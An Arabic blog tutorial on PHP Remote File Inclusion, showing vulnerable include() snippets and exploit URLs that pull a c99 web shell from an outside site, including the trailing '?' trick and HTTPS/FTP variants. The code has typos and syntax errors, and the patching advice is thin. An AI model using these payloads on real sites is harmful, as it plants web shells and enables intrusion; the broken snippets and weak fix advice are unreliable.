خفايا الأنترنت  خفايا الأنترنت

آخر الأخبار

جاري التحميل ...

Remote File Inclusion



السلام عليكم اليوم نشرح لكم ثغرة Remote File Inclusion:

 
دورة هذه الثغرة واضحة جدا بحيث أنها تمكنك من إستدعاء ملفات خارجية والتي
غالبا ما تكون شلات أو سكربتات بالنسبة للمهاجم.
-كما أنها تعتبر من أخطر الثغرات ولكنها حالا نادرة وذالك لتفطن المبرمجين إليها
في لغة PHP توجد ثلاث دوال يمكنها ان تترجم عملية إستدعاء الملف والتي قد
تحدث الثغرة وهي:
require_require()
require_once
include
include_once

1-مثال أساسي عن كود الثغرة :

--لنفترض أن لدينا ملف test.php يحوي الكود التالي:

<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
لنشرح الكود باختصار.الدالة include تستدعي المتغير 
$pagina

مسبوق بي رمز الدولار (عليك أولا أخي أن ترجع إلى بعض أساسيات PHP)

-إذا قمنا برفع الملف وتصفحه على المتصفح الأنترنات http://127.0.0.1/test.php

سنلاحظ وجود عدة أخطاء في الصفحة :
مثل هذا الخطأ
Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

-سبب الخطأ هو المتغير 
$pagina

لا يزال مجهولا أو غير معرقا بالنسبة للدالة

include
والإستغلال يكون عندما نعطي المتغير قيمة نحددها نحن والتي تكون رابط للشل أو سكربت 
 الإختراق ويكون هذا بواسطة المتصفح وبهذا الشكل

http://127.0.0.1/test.php?pagina= http://www.tools-hack.com/c99.txt?

لا تنسى أن الشيل الذي تم إستدعائه يجب أن يكون بصيغة ملف نصي


TXT

وأيضا من المهم وضع علامة الإستفهام في نهاية الرابط

الكثيرون يتسائلون لماذا يجب وضع علامة ؟ في نهاية الرابط الإستغلال؟

الإيجابة ستكتشفها من خلال هذا المثال

<?php
$pagina=$_GET['pagina'];
include $pagina '.php';
?>

--إذا استدعينا الشل (بدون علامة الإستفهام):

http://127.0.0.1/test.php?pagina= http://www.tools-hack.com/c99.txt

لن ينجح لأن الإستدعاء سيشمل النص
http://127.0.0.1/test.php?pagina= http://www.tools-hack.com/c99.txt.php

لذالك سوف نضيف ؟ بعد رابط الإستغلال لكي يتم تجاهل الرموز والإضفات 
التي تكون بع المتغير المستدعى وبالتالي ستنجح عملية الرابط أو الإدراج وسيظهر الشيل

2-مثال متقدم عن كود الثغرة:


الأن مثال من سكربت
-مقتطف من كود المصاب (ملف index.php):

if (isset ($_REQUEST["main_content"]))[
$main_contrnt=$_REQUEST["main_content"];
] else if (isset($_SESSION["main_content"]))[
$main_conte=$_SESSIOn["main_content"];
]  
..........................etc...............................
ob_start();
require_once($main_content); 

يمكننا أن نستدعي الشيل بواسطة المتغير 


"main_content"
والمهاجم عموما سيطلب أي قيمة يحددها للمتغير بفضل دالة الطلب 
REQUEST
والإستغلال سيكون كلتالي 
http://127.0.0.1/index.php?main_content=http://www.tools-hack.com/c99.txt?

وبالتالي سيتم إستدعاء الشيل بنجاح

ملاحظة:بعض النصوص لاتقبل 
"HTTP"
يمكنك أن تجرب إستخدام 

"HTTPS"

أو بروتوكول نقل الملفات 
"FTP"  

كيف ترقيع الثغرة ؟


طريقة بسيطة:-لا تسمح بإستخدام الرموز و العللامات مثل "/" في المتغيرات

-إبحث عن الأخطأ وحاول أن تجعل كل المتغيرات معرفة .






 

//

عن الكاتب

#king_haker dz صهيب ناصري مدون جزائري أبلغ من العمر 21 سنة أحب مشاركة أفكاري على الانترنت متخصص في مجال التقنية و أمن المعلومات أهدف الى إثراء المحتوى العربي بالمحتوى الحصري فقط!

التعليقات


اتصل بنا

إذا أعجبك محتوى مدونتنا نتمنى البقاء على تواصل دائم ، فقط قم بإدخال بريدك الإلكتروني للإشتراك في بريد المدونة السريع ليصلك جديد المدونة أولاً بأول ، كما يمكنك إرسال رساله بالضغط على الزر المجاور ...

جميع الحقوق محفوظة

خفايا الأنترنت

كل عام والأمة الأسلامية بخير

رمضان كريم